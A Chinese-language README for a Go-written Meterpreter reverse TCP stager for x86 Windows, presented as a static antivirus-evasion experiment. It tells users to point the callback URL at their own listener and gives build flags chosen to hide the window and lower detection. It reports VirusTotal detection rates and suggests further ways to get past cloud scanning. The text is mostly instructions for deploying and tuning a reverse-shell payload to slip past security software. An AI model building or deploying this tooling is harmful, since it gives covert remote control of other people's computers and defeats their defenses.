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go_meterpreter

Golang实现的x86下的Meterpreter reverse tcp

做静态免杀实验,代码修改自EGESPLOIT 这个开源项目。单独实现主要在于减小程序编译后体积。目前编译后的大小在1.2M左右。

使用方法

修改go_meterpreter.go中125行代码 s := "http://192.168.121.131:8989" IP和端口修改为自己的地址。然后就可以go build了。 ''' set GOARCH=386 go build -ldflags="-H windowsgui -w"

''' 注意上面参数中没有-s,因为实际测试,使用这种方式build后的程序免杀效果会好一些。如果直接go build,程序会有窗口,同时大小也在1.6M左右。

由于加入了这部分代码,运行后因为执行多次无用代码,需要等一会才可以看到上线。另外目前会出现连接两次msf的情况,但是只有一个连接会返回shell,目前没找到原因。

免杀效果

加入了Bypass AV的代码。

我在刚写好的时候上传到VT,查杀结果位8/62。VT上有超过70个引擎,62个应该是加入BypassAV代码起的作用。

今天最新经过编译查杀结果为20/70。由于现在杀毒都有云查杀,刚写的时候效果好,但是过几天就被被杀。这里具体可以结合一些其他方式来尝试绕过。

VT检测结果地址:https://www.virustotal.com/gui/file/f8ff4acac418e6cdc326d0139ba2bdb9fce32558985962cf8303fcc97b9e47fb/detection

在使用这个的过程中,Windows10中自带的杀毒软件会拦截。会被动态行为发现。这里仅是过静态查杀测试。

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